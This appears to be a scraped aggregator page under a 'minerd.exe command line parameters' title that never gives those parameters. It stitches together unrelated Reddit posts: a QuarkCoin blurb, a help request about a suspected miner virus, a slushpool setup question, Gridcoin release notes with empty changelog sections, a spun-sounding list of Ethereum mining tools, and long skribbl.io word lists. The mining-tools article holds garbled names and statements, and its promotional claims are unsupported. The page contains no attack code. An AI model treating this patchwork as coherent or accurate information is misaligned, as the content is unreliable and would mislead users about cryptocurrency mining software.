minerd.exe: command line parameters - Bitcoin Garden

QuarkCoin Cryptocurrency

Quark is a decentralized digital monetary system. It facilitates sending Quarks to Friends, Family Members Online Payments free of charges and charge-backs. Military Grade Encryption. No Bank or Government Control. Quark coins are based on the original idea of Bitcoin but improved, more secure, faster transaction times and zero fees. With improvements to design and security. There is also a greater coin supply with higher block rewards for miners. Quark is fully Open Source.
[link]

Event Collector Command Line problem - probably a bitcoin miner virus?

So, every time I start my PC, there's an app running on the background called "Even Collector Command Line" and I always thought that it's just a thing in windows and that I can stop it from happening again. But I looked deeply and I found out that Event collector isn't on (the windows tool), but the even collector command line - the virus - is. If I stop it, it won't restart only when I will reboot the PC. I looked up a little on it and some people told me it might be a bitcoin miner virus and that they found it in some folders (one found it in a Microsoft edge folder, another one in a steam folder). Can you guys help me get rid of it? Please? I will be grateful for it!
submitted by Horacious to techsupport [link] [comments]

How to setup a command line bitcoin miner to use slushpool?

I've tried using CGminer but have had problems. I'm open to suggestions for which miner to use. I am using Windows 10 with an Nvidia 1070 GPU. I am using the Electrum wallet.
Apologies if this is not the right subreddit for technical support, if it is not could you please direct me to somewhere more suitable?
submitted by 0amethyst to CryptoCurrency [link] [comments]

Gridcoin 5.0.0.0-Mandatory "Fern" Release

https://github.com/gridcoin-community/Gridcoin-Research/releases/tag/5.0.0.0
Finally! After over ten months of development and testing, "Fern" has arrived! This is a whopper. 240 pull requests merged. Essentially a complete rewrite that was started with the scraper (the "neural net" rewrite) in "Denise" has now been completed. Practically the ENTIRE Gridcoin specific codebase resting on top of the vanilla Bitcoin/Peercoin/Blackcoin vanilla PoS code has been rewritten. This removes the team requirement at last (see below), although there are many other important improvements besides that.
Fern was a monumental undertaking. We had to encode all of the old rules active for the v10 block protocol in new code and ensure that the new code was 100% compatible. This had to be done in such a way as to clear out all of the old spaghetti and ring-fence it with tightly controlled class implementations. We then wrote an entirely new, simplified ruleset for research rewards and reengineered contracts (which includes beacon management, polls, and voting) using properly classed code. The fundamentals of Gridcoin with this release are now on a very sound and maintainable footing, and the developers believe the codebase as updated here will serve as the fundamental basis for Gridcoin's future roadmap.
We have been testing this for MONTHS on testnet in various stages. The v10 (legacy) compatibility code has been running on testnet continuously as it was developed to ensure compatibility with existing nodes. During the last few months, we have done two private testnet forks and then the full public testnet testing for v11 code (the new protocol which is what Fern implements). The developers have also been running non-staking "sentinel" nodes on mainnet with this code to verify that the consensus rules are problem-free for the legacy compatibility code on the broader mainnet. We believe this amount of testing is going to result in a smooth rollout.
Given the amount of changes in Fern, I am presenting TWO changelogs below. One is high level, which summarizes the most significant changes in the protocol. The second changelog is the detailed one in the usual format, and gives you an inkling of the size of this release.

Highlights

Protocol

Note that the protocol changes will not become active until we cross the hard-fork transition height to v11, which has been set at 2053000. Given current average block spacing, this should happen around October 4, about one month from now.
Note that to get all of the beacons in the network on the new protocol, we are requiring ALL beacons to be validated. A two week (14 day) grace period is provided by the code, starting at the time of the transition height, for people currently holding a beacon to validate the beacon and prevent it from expiring. That means that EVERY CRUNCHER must advertise and validate their beacon AFTER the v11 transition (around Oct 4th) and BEFORE October 18th (or more precisely, 14 days from the actual date of the v11 transition). If you do not advertise and validate your beacon by this time, your beacon will expire and you will stop earning research rewards until you advertise and validate a new beacon. This process has been made much easier by a brand new beacon "wizard" that helps manage beacon advertisements and renewals. Once a beacon has been validated and is a v11 protocol beacon, the normal 180 day expiration rules apply. Note, however, that the 180 day expiration on research rewards has been removed with the Fern update. This means that while your beacon might expire after 180 days, your earned research rewards will be retained and can be claimed by advertising a beacon with the same CPID and going through the validation process again. In other words, you do not lose any earned research rewards if you do not stake a block within 180 days and keep your beacon up-to-date.
The transition height is also when the team requirement will be relaxed for the network.

GUI

Besides the beacon wizard, there are a number of improvements to the GUI, including new UI transaction types (and icons) for staking the superblock, sidestake sends, beacon advertisement, voting, poll creation, and transactions with a message. The main screen has been revamped with a better summary section, and better status icons. Several changes under the hood have improved GUI performance. And finally, the diagnostics have been revamped.

Blockchain

The wallet sync speed has been DRASTICALLY improved. A decent machine with a good network connection should be able to sync the entire mainnet blockchain in less than 4 hours. A fast machine with a really fast network connection and a good SSD can do it in about 2.5 hours. One of our goals was to reduce or eliminate the reliance on snapshots for mainnet, and I think we have accomplished that goal with the new sync speed. We have also streamlined the in-memory structures for the blockchain which shaves some memory use.
There are so many goodies here it is hard to summarize them all.
I would like to thank all of the contributors to this release, but especially thank @cyrossignol, whose incredible contributions formed the backbone of this release. I would also like to pay special thanks to @barton2526, @caraka, and @Quezacoatl1, who tirelessly helped during the testing and polishing phase on testnet with testing and repeated builds for all architectures.
The developers are proud to present this release to the community and we believe this represents the starting point for a true renaissance for Gridcoin!

Summary Changelog

Accrual

Changed

Most significantly, nodes calculate research rewards directly from the magnitudes in EACH superblock between stakes instead of using a two- or three- point average based on a CPID's current magnitude and the magnitude for the CPID when it last staked. For those long-timers in the community, this has been referred to as "Superblock Windows," and was first done in proof-of-concept form by @denravonska.

Removed

Beacons

Added

Changed

Removed

Unaltered

As a reminder:

Superblocks

Added

Changed

Removed

Voting

Added

Changed

Removed

Detailed Changelog

[5.0.0.0] 2020-09-03, mandatory, "Fern"

Added

Changed

Removed

Fixed

submitted by jamescowens to gridcoin [link] [comments]

Ethereum 's Top 7 Mining Tools in 2020

If there is a cryptocurrency that has acquired popularity close to Bitcoin, then it is Ethereum. It is among the leading crypto-currencies when it comes to market capitalization. Ethereum is not just a cryptocurrency, but it is also a blockchain system that is useful in creating decentralised applications. Since Ethereum Blockchain is used by most companies now, it is gaining popularity among Ethereum miners and developers.
Ethereum mining is a great way to make more cash. Benefiting from cryptocurrencies in p is a perfect option. Since many applications for Blockchain depend on Ethereum. Ethereum mining is going to be lucrative, as its price is expected to grow. The Ethereum minimum can be simplified with the use of the best Ethereum software. There are some apps like that on the market, and we've got the seven best for you here.
7 Ethereum 's Best Apps:
ETHminer- This is an Ethereum mining application which is supported on Linux , Windows, and Mac. It is also possible to use the Ethash algorithm, luke Ellaisma, Musicoin Ethereum Classic, Metaverse, It is a command-line program that allows you to construct shortcut commands using a Windows cmd / batch file or Linux Bash script.
The next software on our list is CGMiner-A, which was published in 2011. It is one of the common choices and has compatibility with GPU, FPGA, and ASIC. It is open-source software and can cause advanced detection of blocks.
It is written in C; Ethereum developers are able to save a hash rate without delay using this Ethereum mining programme. On Linux , Windows, and Mac, this program is open.
BitMinter- The graphical interface is transparent and it links easily to the Bitminter mining pool. This software was launched in 2011 and has more than 450,000 user accounts registered. The Java Network Launch Protocol (JNLP) is the foundation of its operations. Linux, Windows and Mac are also compatible with this programme.
Claymore- This is one of the most powerful mining applications for Ethereum, and without delaying the mining pace, you can scale up the hash rate. You can also mine other cryptocurrencies like Lbry, Pascal, Siacoin, and Decred using this Ethereum mining programme. This software is Linux and Windows compatible and not Mac compatible.
WinETH- If you are looking for an Ethereum mining app that is fast and simple to use, then this is the one for you. It is comparable to WinETH, but it has a simpler Interface and a smarter algorithm that makes it easy to use for Ethereum miners.
Minergate-It was the first mining app for Ethereum to deliver merged mining. You can use this app to concurrently mine two separate coins without impacting the main coin's hash rate. In addition, this coin will also tell you about the market's most valuable coins.
This programme can be used by Ethereum miners to mine other coins, including Zcash, Liteoin, Monero.
BFGMiner- This programme is written in C and operates on various Linux, Windows and Mac operating systems. You will mine crypto coins and have both SHA256D and Scrypt on its algorithm. It also offers you total support for tracking.
Conclusion- These are some of the popular mining applications for Ethereum that you can use. If you would like to know more about the creation of Ethereum, or Ethereum mining, If you wish to know more about Ethereum development, or Ethereum mining, or you want to enroll for Ethereum certification, connect with Blockchain Council today.
submitted by Blockchain_org to BlockchainStartups [link] [comments]

SKRIBBL WORD LIST

Pac-Man
bow
Apple
chest
six pack
nail
tornado
Mickey Mouse
Youtube
lightning
traffic light
waterfall
McDonalds
Donald Trump
Patrick
stop sign
Superman
tooth
sunflower
keyboard
island
Pikachu
Harry Potter
Nintendo Switch
Facebook
eyebrow
Peppa Pig
SpongeBob
Creeper
octopus
church
Eiffel tower
tongue
snowflake
fish
Twitter
pan
Jesus Christ
butt cheeks
jail
Pepsi
hospital
pregnant
thunderstorm
smile
skull
flower
palm tree
Angry Birds
America
lips
cloud
compass
mustache
Captain America
pimple
Easter Bunny
chicken
Elmo
watch
prison
skeleton
arrow
volcano
Minion
school
tie
lighthouse
fountain
Cookie Monster
Iron Man
Santa
blood
river
bar
Mount Everest
chest hair
Gumball
north
water
cactus
treehouse
bridge
short
thumb
beach
mountain
Nike
flag
Paris
eyelash
Shrek
brain
iceberg
fingernail
playground
ice cream
Google
dead
knife
spoon
unibrow
Spiderman
black
graveyard
elbow
golden egg
yellow
Germany
Adidas
nose hair
Deadpool
Homer Simpson
Bart Simpson
rainbow
ruler
building
raindrop
storm
coffee shop
windmill
fidget spinner
yo-yo
ice
legs
tent
mouth
ocean
Fanta
homeless
tablet
muscle
Pinocchio
tear
nose
snow
nostrils
Olaf
belly button
Lion King
car wash
Egypt
Statue of Liberty
Hello Kitty
pinky
Winnie the Pooh
guitar
Hulk
Grinch
Nutella
cold
flagpole
Canada
rainforest
blue
rose
tree
hot
mailbox
Nemo
crab
knee
doghouse
Chrome
cotton candy
Barack Obama
hot chocolate
Michael Jackson
map
Samsung
shoulder
Microsoft
parking
forest
full moon
cherry blossom
apple seed
Donald Duck
leaf
bat
earwax
Italy
finger
seed
lilypad
brush
record
wrist
thunder
gummy
Kirby
fire hydrant
overweight
hot dog
house
fork
pink
Sonic
street
Nasa
arm
fast
tunnel
full
library
pet shop
Yoshi
Russia
drum kit
Android
Finn and Jake
price tag
Tooth Fairy
bus stop
rain
heart
face
tower
bank
cheeks
Batman
speaker
Thor
skinny
electric guitar
belly
cute
ice cream truck
bubble gum
top hat
Pink Panther
hand
bald
freckles
clover
armpit
Japan
thin
traffic
spaghetti
Phineas and Ferb
broken heart
fingertip
funny
poisonous
Wonder Woman
Squidward
Mark Zuckerberg
twig
red
China
dream
Dora
daisy
France
Discord
toenail
positive
forehead
earthquake
iron
Zeus
Mercedes
Big Ben
supermarket
Bugs Bunny
Yin and Yang
drink
rock
drum
piano
white
bench
fall
royal
seashell
Audi
stomach
aquarium
Bitcoin
volleyball
marshmallow
Cat Woman
underground
Green Lantern
bottle flip
toothbrush
globe
sand
zoo
west
puddle
lobster
North Korea
Luigi
bamboo
Great Wall
Kim Jong-un
bad
credit card
swimming pool
Wolverine
head
hair
Yoda
Elsa
turkey
heel
maracas
clean
droplet
cinema
poor
stamp
Africa
whistle
Teletubby
wind
Aladdin
tissue box
fire truck
Usain Bolt
water gun
farm
iPad
well
warm
booger
WhatsApp
Skype
landscape
pine cone
Mexico
slow
organ
fish bowl
teddy bear
John Cena
Frankenstein
tennis racket
gummy bear
Mount Rushmore
swing
Mario
lake
point
vein
cave
smell
chin
desert
scary
Dracula
airport
kiwi
seaweed
incognito
Pluto
statue
hairy
strawberry
low
invisible
blindfold
tuna
controller
Paypal
King Kong
neck
lung
weather
Xbox
tiny
icicle
flashlight
scissors
emoji
strong
saliva
firefighter
salmon
basketball
spring
Tarzan
red carpet
drain
coral reef
nose ring
caterpillar
Wall-e
seat belt
polar bear
Scooby Doo
wave
sea
grass
pancake
park
lipstick
pickaxe
east
grenade
village
Flash
throat
dizzy
Asia
petal
Gru
country
spaceship
restaurant
copy
skin
glue stick
Garfield
equator
blizzard
golden apple
Robin Hood
fast food
barbed wire
Bill Gates
Tower of Pisa
neighborhood
lightsaber
video game
high heels
dirty
flamethrower
pencil sharpener
hill
old
flute
cheek
violin
fireball
spine
bathtub
cell phone
breath
open
Australia
toothpaste
Tails
skyscraper
cowbell
rib
ceiling fan
Eminem
Jimmy Neutron
photo frame
barn
sandstorm
Jackie Chan
Abraham Lincoln
T-rex
pot of gold
KFC
shell
poison
acne
avocado
study
bandana
England
Medusa
scar
Skittles
Pokemon
branch
Dumbo
factory
Hollywood
deep
knuckle
popular
piggy bank
Las Vegas
microphone
Tower Bridge
butterfly
slide
hut
shovel
hamburger
shop
fort
Ikea
planet
border
panda
highway
swamp
tropical
lightbulb
Kermit
headphones
jungle
Reddit
young
trumpet
cheeseburger
gas mask
apartment
manhole
nutcracker
Antarctica
mansion
bunk bed
sunglasses
spray paint
Jack-o-lantern
saltwater
tank
cliff
campfire
palm
pumpkin
elephant
banjo
nature
alley
fireproof
earbuds
crossbow
Elon Musk
quicksand
Playstation
Hawaii
good
corn dog
Gandalf
dock
magic wand
field
Solar System
photograph
ukulele
James Bond
The Beatles
Katy Perry
pirate ship
Poseidon
Netherlands
photographer
Lego
hourglass
glass
path
hotel
ramp
dandelion
Brazil
coral
cigarette
messy
Dexter
valley
parachute
wine glass
matchbox
Morgan Freeman
black hole
midnight
astronaut
paper bag
sand castle
forest fire
hot sauce
social media
William Shakespeare
trash can
fire alarm
lawn mower
nail polish
Band-Aid
Star Wars
clothes hanger
toe
mud
coconut
jaw
bomb
south
firework
sailboat
loading
iPhone
toothpick
BMW
ketchup
fossil
explosion
Finn
Einstein
infinite
dictionary
Photoshop
trombone
clarinet
rubber
saxophone
helicopter
temperature
bus driver
cello
London
newspaper
blackberry
shopping cart
Florida
Daffy Duck
mayonnaise
gummy worm
flying pig
underweight
Crash Bandicoot
bungee jumping
kindergarten
umbrella
hammer
night
laser
glove
square
Morty
firehouse
dynamite
chainsaw
melon
waist
Chewbacca
kidney
stoned
Rick
ticket
skateboard
microwave
television
soil
exam
cocktail
India
Colosseum
missile
hilarious
Popeye
nuke
silo
chemical
museum
Vault boy
adorable
fast forward
firecracker
grandmother
Porky Pig
roadblock
continent
wrinkle
shaving cream
Northern Lights
tug
London Eye
Israel
shipwreck
xylophone
motorcycle
diamond
root
coffee
princess
Oreo
goldfish
wizard
chocolate
garbage
ladybug
shotgun
kazoo
Minecraft
video
message
lily
fisherman
cucumber
password
western
ambulance
doorknob
glowstick
makeup
barbecue
jazz
hedgehog
bark
tombstone
coast
pitchfork
Christmas
opera
office
insect
hunger
download
hairbrush
blueberry
cookie jar
canyon
Happy Meal
high five
fern
quarter
peninsula
imagination
microscope
table tennis
whisper
fly swatter
pencil case
harmonica
Family Guy
New Zealand
apple pie
warehouse
cookie
USB
jellyfish
bubble
battery
fireman
pizza
angry
taco
harp
alcohol
pound
bedtime
megaphone
husband
oval
rail
stab
dwarf
milkshake
witch
bakery
president
weak
second
sushi
mall
complete
hip hop
slippery
horizon
prawn
plumber
blowfish
Madagascar
Europe
bazooka
pogo stick
Terminator
Hercules
notification
snowball fight
high score
Kung Fu
Lady Gaga
geography
sledgehammer
bear trap
sky
cheese
vine
clown
catfish
snowman
bowl
waffle
vegetable
hook
shadow
dinosaur
lane
dance
scarf
cabin
Tweety
bookshelf
swordfish
skyline
base
straw
biscuit
Greece
bleach
pepper
reflection
universe
skateboarder
triplets
gold chain
electric car
policeman
electricity
mother
Bambi
croissant
Ireland
sandbox
stadium
depressed
Johnny Bravo
silverware
raspberry
dandruff
Scotland
comic book
cylinder
Milky Way
taxi driver
magic trick
sunrise
popcorn
eat
cola
cake
pond
mushroom
rocket
surfboard
baby
cape
glasses
sunburn
chef
gate
charger
crack
mohawk
triangle
carpet
dessert
taser
afro
cobra
ringtone
cockroach
levitate
mailman
rockstar
lyrics
grumpy
stand
Norway
binoculars
nightclub
puppet
novel
injection
thief
pray
chandelier
exercise
lava lamp
lap
massage
thermometer
golf cart
postcard
bell pepper
bed bug
paintball
Notch
yogurt
graffiti
burglar
butler
seafood
Sydney Opera House
Susan Wojcicki
parents
bed sheet
Leonardo da Vinci
intersection
palace
shrub
lumberjack
relationship
observatory
junk food
eye
log
dice
bicycle
pineapple
camera
circle
lemonade
soda
comb
cube
Doritos
love
table
honey
lighter
broccoli
fireplace
drive
Titanic
backpack
emerald
giraffe
world
internet
kitten
volume
Spain
daughter
armor
noob
rectangle
driver
raccoon
bacon
lady
bull
camping
poppy
snowball
farmer
lasso
breakfast
oxygen
milkman
caveman
laboratory
bandage
neighbor
Cupid
Sudoku
wedding
seagull
spatula
atom
dew
fortress
vegetarian
ivy
snowboard
conversation
treasure
chopsticks
garlic
vacuum
swimsuit
divorce
advertisement
vuvuzela
Mr Bean
Fred Flintstone
pet food
upgrade
voodoo
punishment
Charlie Chaplin
Rome
graduation
beatbox
communism
yeti
ear
dots
octagon
kite
lion
winner
muffin
cupcake
unicorn
smoke
lime
monster
Mars
moss
summer
lollipop
coffin
paint
lottery
wife
pirate
sandwich
lantern
seahorse
Cuba
archer
sweat
deodorant
plank
Steam
birthday
submarine
zombie
casino
gas
stove
helmet
mosquito
ponytail
corpse
subway
spy
jump rope
baguette
grin
centipede
gorilla
website
text
workplace
bookmark
anglerfish
wireless
Zorro
sports
abstract
detective
Amsterdam
elevator
chimney
reindeer
Singapore
perfume
soldier
bodyguard
magnifier
freezer
radiation
assassin
yawn
backbone
disaster
giant
pillow fight
grasshopper
Vin Diesel
geyser
burrito
celebrity
Lasagna
Pumba
karaoke
hypnotize
platypus
Leonardo DiCaprio
bird bath
battleship
back pain
rapper
werewolf
Black Friday
cathedral
Sherlock Holmes
ABBA
hard hat
sword
mirror
toilet
eggplant
jelly
hero
starfish
bread
snail
person
plunger
computer
nosebleed
goat
joker
sponge
mop
owl
beef
portal
genie
crocodile
murderer
magic
pine
winter
robber
pepperoni
shoebox
fog
screen
son
folder
mask
Goofy
Mercury
zipline
wall
dragonfly
zipper
meatball
slingshot
Pringles
circus
mammoth
nugget
mousetrap
recycling
revolver
champion
zigzag
meat
drought
vodka
notepad
porcupine
tuba
hacker
broomstick
kitchen
cheesecake
satellite
JayZ
squirrel
leprechaun
jello
gangster
raincoat
eyeshadow
shopping
gardener
scythe
portrait
jackhammer
allergy
honeycomb
headache
Miniclip
Mona Lisa
cheetah
virtual reality
virus
Argentina
blanket
military
headband
superpower
language
handshake
reptile
thirst
fake teeth
duct tape
macaroni
color-blind
comfortable
Robbie Rotten
coast guard
cab driver
pistachio
Angelina Jolie
autograph
sea lion
Morse code
clickbait
star
girl
lemon
alarm
shoe
soap
button
kiss
grave
telephone
fridge
katana
switch
eraser
signature
pasta
flamingo
crayon
puzzle
hard
juice
socks
crystal
telescope
galaxy
squid
tattoo
bowling
lamb
silver
lid
taxi
basket
step
stapler
pigeon
zoom
teacher
holiday
score
Tetris
frame
garden
stage
unicycle
cream
sombrero
error
battle
starfruit
hamster
chalk
spiral
bounce
hairspray
lizard
victory
balance
hexagon
Ferrari
MTV
network
weapon
fist fight
vault
mattress
viola
birch
stereo
Jenga
plug
chihuahua
plow
pavement
wart
ribbon
otter
magazine
Bomberman
vaccine
elder
Romania
champagne
semicircle
Suez Canal
Mr Meeseeks
villain
inside
spade
gravedigger
Bruce Lee
gentle
stingray
can opener
funeral
jet ski
wheelbarrow
thug
undo
fabulous
space suit
cappuccino
Minotaur
skydiving
cheerleader
Stone Age
Chinatown
razorblade
crawl space
cauldron
trick shot
Steve Jobs
audience
time machine
sewing machine
face paint
truck driver
x-ray
fly
salt
spider
boy
dollar
turtle
book
chain
dolphin
sing
milk
wing
pencil
snake
scream
toast
vomit
salad
radio
potion
dominoes
balloon
monkey
trophy
feather
leash
loser
bite
notebook
happy
Mummy
sneeze
koala
tired
sick
pipe
jalapeno
diaper
deer
priest
youtuber
boomerang
pro
ruby
hop
hopscotch
barcode
vote
wrench
tissue
doll
clownfish
halo
Monday
tentacle
grid
Uranus
oil
scarecrow
tarantula
germ
glow
haircut
Vatican
tape
judge
cell
diagonal
science
mustard
fur
janitor
ballerina
pike
nun
chime
tuxedo
Cerberus
panpipes
surface
coal
knot
willow
pajamas
fizz
student
eclipse
asteroid
Portugal
pigsty
brand
crowbar
chimpanzee
Chuck Norris
raft
carnival
treadmill
professor
tricycle
apocalypse
vitamin
orchestra
groom
cringe
knight
litter box
macho
brownie
hummingbird
Hula Hoop
motorbike
type
catapult
take off
wake up
concert
floppy disk
BMX
bulldozer
manicure
brainwash
William Wallace
guinea pig
motherboard
wheel
brick
egg
lava
queen
gold
God
ladder
coin
laptop
toaster
butter
bag
doctor
sit
tennis
half
Bible
noodle
golf
eagle
cash
vampire
sweater
father
remote
safe
jeans
darts
graph
nothing
dagger
stone
wig
cupboard
minute
match
slime
garage
tomb
soup
bathroom
llama
shampoo
swan
frown
toolbox
jacket
adult
crate
quill
spin
waiter
mint
kangaroo
captain
loot
maid
shoelace
luggage
cage
bagpipes
loaf
aircraft
shelf
safari
afterlife
napkin
steam
coach
slope
marigold
Mozart
bumper
Asterix
vanilla
papaya
ostrich
failure
scoop
tangerine
firefly
centaur
harbor
uniform
Beethoven
Intel
moth
Spartacus
fluid
acid
sparkles
talent show
ski jump
polo
ravioli
delivery
woodpecker
logo
Stegosaurus
diss track
Darwin Watterson
filmmaker
silence
dashboard
echo
windshield
Home Alone
tablecloth
backflip
headboard
licorice
sunshade
Picasso
airbag
water cycle
meatloaf
insomnia
broom
whale
pie
demon
bed
braces
fence
orange
sleep
gift
Popsicle
spear
zebra
Saturn
maze
chess
wire
angel
skates
pyramid
shower
claw
hell
goal
bottle
dress
walk
AC/DC
tampon
goatee
prince
flask
cut
cord
roof
movie
ash
tiger
player
magician
wool
saddle
cowboy
derp
suitcase
sugar
nest
anchor
onion
magma
limbo
collar
mole
bingo
walnut
wealth
security
leader
melt
Gandhi
arch
toy
turd
scientist
hippo
glue
kneel
orbit
below
totem
health
towel
diet
crow
addiction
minigolf
clay
boar
navy
butcher
trigger
referee
bruise
translate
yearbook
confused
engine
poke
wreath
omelet
gravity
bride
godfather
flu
accordion
engineer
cocoon
minivan
bean bag
antivirus
billiards
rake
cement
cauliflower
espresso
violence
blender
chew
bartender
witness
hobbit
corkscrew
chameleon
cymbal
Excalibur
grapefruit
action
outside
guillotine
timpani
frostbite
leave
Mont Blanc
palette
electrician
fitness trainer
journalist
fashion designer
bucket
penguin
sheep
torch
robot
peanut
UFO
belt
Earth
magnet
dragon
soccer
desk
search
seal
scribble
gender
food
anvil
crust
bean
hockey
pot
pretzel
needle
blimp
plate
drool
frog
basement
idea
bracelet
cork
sauce
gang
sprinkler
shout
morning
poodle
karate
bagel
wolf
sausage
heat
wasp
calendar
tadpole
religion
hose
sleeve
acorn
sting
market
marble
comet
pain
cloth
drawer
orca
hurdle
pinball
narwhal
pollution
metal
race
end
razor
dollhouse
distance
prism
pub
lotion
vanish
vulture
beanie
burp
periscope
cousin
customer
label
mold
kebab
beaver
spark
meme
pudding
almond
mafia
gasp
nightmare
mermaid
season
gasoline
evening
eel
cast
hive
beetle
diploma
jeep
bulge
wrestler
Anubis
mascot
spinach
hieroglyph
anaconda
handicap
walrus
blacksmith
robin
reception
invasion
fencing
sphinx
evolution
brunette
traveler
jaguar
diagram
hovercraft
parade
dome
credit
tow truck
shallow
vlogger
veterinarian
furniture
commercial
cyborg
scent
defense
accident
marathon
demonstration
NASCAR
Velociraptor
pharmacist
Xerox
gentleman
dough
rhinoceros
air conditioner
poop
clock
carrot
cherry
candle
boots
target
wine
die
moon
airplane
think
pause
pill
pocket
Easter
horse
child
lamp
pillow
yolk
potato
pickle
nurse
ham
ninja
screw
board
pin
lettuce
console
climb
goose
bill
tortoise
sink
ski
glitter
miner
parrot
clap
spit
wiggle
peacock
roll
ballet
ceiling
celebrate
blind
yacht
addition
flock
powder
paddle
harpoon
kraken
baboon
antenna
classroom
bronze
writer
Obelix
touch
sensei
rest
puma
dent
shake
goblin
laundry
cloak
detonate
Neptune
cotton
generator
canary
horsewhip
racecar
Croatia
tip
cardboard
commander
seasick
anthill
vinegar
hippie
dentist
animation
Slinky
wallpaper
pendulum
vertical
chestplate
anime
beanstalk
survivor
florist
faucet
spore
risk
wonderland
wrestling
hazelnut
cushion
W-LAN
mayor
community
raisin
udder
oyster
sew
hazard
curry
pastry
mime
victim
mechanic
hibernate
bouncer
Iron Giant
floodlight
pear
sad
paw
space
bullet
skribbl.io
shirt
cow
worm
king
tea
truck
pants
hashtag
DNA
bird
Monster
beer
curtain
tire
nachos
bear
cricket
teapot
nerd
deaf
fruit
meteorite
rice
sniper
sale
gnome
shock
shape
alligator
meal
nickel
party
hurt
Segway
Mr. Bean
banker
cartoon
double
hammock
juggle
pope
leak
room
throne
hoof
radar
wound
luck
swag
panther
flush
Venus
disease
fortune
porch
machine
pilot
copper
mantis
keg
biology
wax
gloss
leech
sculpture
pelican
trapdoor
plague
quilt
yardstick
lounge
teaspoon
broadcast
uncle
comedian
mannequin
peasant
streamer
oar
drama
cornfield
carnivore
wingnut
vent
cabinet
vacation
applause
vision
radish
picnic
Skrillex
jester
preach
armadillo
hyena
librarian
interview
sauna
surgeon
dishrag
manatee
symphony
queue
industry
Atlantis
excavator
canister
model
flight attendant
ghost
pig
key
banana
tomato
axe
line
present
duck
alien
peas
gem
web
grapes
corn
can
fairy
camel
paper
beak
corner
penny
dig
link
donkey
fox
rug
drip
hunter
horn
purse
gumball
pony
musket
flea
kettle
rooster
balcony
seesaw
stork
dinner
greed
bait
duel
trap
heist
origami
skunk
coaster
leather
socket
fireside
cannon
ram
filter
alpaca
Zelda
condiment
server
antelope
emu
chestnut
dalmatian
swarm
sloth
reality
Darwin
torpedo
toucan
pedal
tabletop
frosting
bellow
vortex
bayonet
margarine
orchid
beet
journey
slam
marmalade
employer
stylus
spoiler
repeat
tiramisu
cuckoo
collapse
eskimo
assault
orangutan
wrapping
albatross
mothball
evaporate
turnip
puffin
reeds
receptionist
impact
dispenser
nutshell
procrastination
architect
programmer
bricklayer
boat
bell
ring
fries
money
chair
door
bee
tail
ball
mouse
rat
window
peace
nut
blush
page
toad
hug
ace
tractor
peach
whisk
hen
day
shy
lawyer
rewind
tripod
trailer
hermit
welder
festival
punk
handle
protest
lens
attic
foil
promotion
work
limousine
patriot
badger
studio
athlete
quokka
trend
pinwheel
gravel
fabric
lemur
provoke
rune
display
nail file
embers
asymmetry
actor
carpenter
aristocrat
Zuma
chinchilla
archaeologist
apple
hat
sun
box
cat
cup
train
bunny
sound
run
barrel
barber
grill
read
family
moose
boil
printer
poster
sledge
nutmeg
heading
cruise
pillar
retail
monk
spool
catalog
scuba
anteater
pensioner
coyote
vise
bobsled
purity
tailor
meerkat
weasel
invention
lynx
kendama
zeppelin
patient
gladiator
slump
Capricorn
baklava
prune
stress
crucible
hitchhiker
election
caviar
marmot
hair roller
pistol
cone
ant
lock
hanger
cap
Mr. Meeseeks
comedy
coat
tourist
tickle
facade
shrew
diva
patio
apricot
spelunker
parakeet
barbarian
tumor
figurine
desperate
landlord
bus
mug
dog
shark
abyss
betray HUH SO HARD
submitted by Temporary_Scratch_14 to skribbl [link] [comments]

Default English word list

Alright so, I took the default database from there https://skribbliohints.github.io/ and with the help of html, I extracted the words to a list separated by commas. It's useful when you want to translate those words into your native language.
Word of advice, when using google translate, do not put all words at once there, it can rapidly worsen the translation.
(And there is a last thing. Their algorithm of picking only custom words is not working really good, at least for me. Meaning that I often get duplicates, despite having a list this big and without duplicates. I'm still trying to find some solution to this, so if somebody is experiencing this as well, share the knowledge please, I will do the same.)
SOLUTION: Thanks for the reply from PepegaWR who identified the cause. I also tested it and there seems to be a custom words limit of 5000 characters. The easiest way in my opinion is to shuffle the words before each session to minimize the impact. Also thanks to the flynger who had the same idea before me :)
Finally, here it is, enjoy the scribbling ^^ :

ABBA, AC/DC, Abraham Lincoln, Adidas, Africa, Aladdin, America, Amsterdam, Android, Angelina Jolie, Angry Birds, Antarctica, Anubis, Apple, Argentina, Asia, Asterix, Atlantis, Audi, Australia, BMW, BMX, Bambi, Band-Aid, Barack Obama, Bart Simpson, Batman, Beethoven, Bible, Big Ben, Bill Gates, Bitcoin, Black Friday, Bomberman, Brazil, Bruce Lee, Bugs Bunny, Canada, Capricorn, Captain America, Cat Woman, Cerberus, Charlie Chaplin, Chewbacca, China, Chinatown, Christmas, Chrome, Chuck Norris, Colosseum, Cookie Monster, Crash Bandicoot, Creeper, Croatia, Cuba, Cupid, DNA, Daffy Duck, Darwin, Darwin Watterson, Deadpool, Dexter, Discord, Donald Duck, Donald Trump, Dora, Doritos, Dracula, Dumbo, Earth, Easter, Easter Bunny, Egypt, Eiffel tower, Einstein, Elmo, Elon Musk, Elsa, Eminem, England, Europe, Excalibur, Facebook, Family Guy, Fanta, Ferrari, Finn, Finn and Jake, Flash, Florida, France, Frankenstein, Fred Flintstone, Gandalf, Gandhi, Garfield, Germany, God, Goofy, Google, Great Wall, Greece, Green Lantern, Grinch, Gru, Gumball, Happy Meal, Harry Potter, Hawaii, Hello Kitty, Hercules, Hollywood, Home Alone, Homer Simpson, Hula Hoop, Hulk, Ikea, India, Intel, Ireland, Iron Giant, Iron Man, Israel, Italy, Jack-o-lantern, Jackie Chan, James Bond, Japan, JayZ, Jenga, Jesus Christ, Jimmy Neutron, John Cena, Johnny Bravo, KFC, Katy Perry, Kermit, Kim Jong-un, King Kong, Kirby, Kung Fu, Lady Gaga, Las Vegas, Lasagna, Lego, Leonardo DiCaprio, Leonardo da Vinci, Lion King, London, London Eye, Luigi, MTV, Madagascar, Mario, Mark Zuckerberg, Mars, McDonalds, Medusa, Mercedes, Mercury, Mexico, Michael Jackson, Mickey Mouse, Microsoft, Milky Way, Minecraft, Miniclip, Minion, Minotaur, Mona Lisa, Monday, Monster, Mont Blanc, Morgan Freeman, Morse code, Morty, Mount Everest, Mount Rushmore, Mozart, Mr. Bean, Mr. Meeseeks, Mr Bean, Mr Meeseeks, Mummy, NASCAR, Nasa, Nemo, Neptune, Netherlands, New Zealand, Nike, Nintendo Switch, North Korea, Northern Lights, Norway, Notch, Nutella, Obelix, Olaf, Oreo, Pac-Man, Paris, Patrick, Paypal, Peppa Pig, Pepsi, Phineas and Ferb, Photoshop, Picasso, Pikachu, Pink Panther, Pinocchio, Playstation, Pluto, Pokemon, 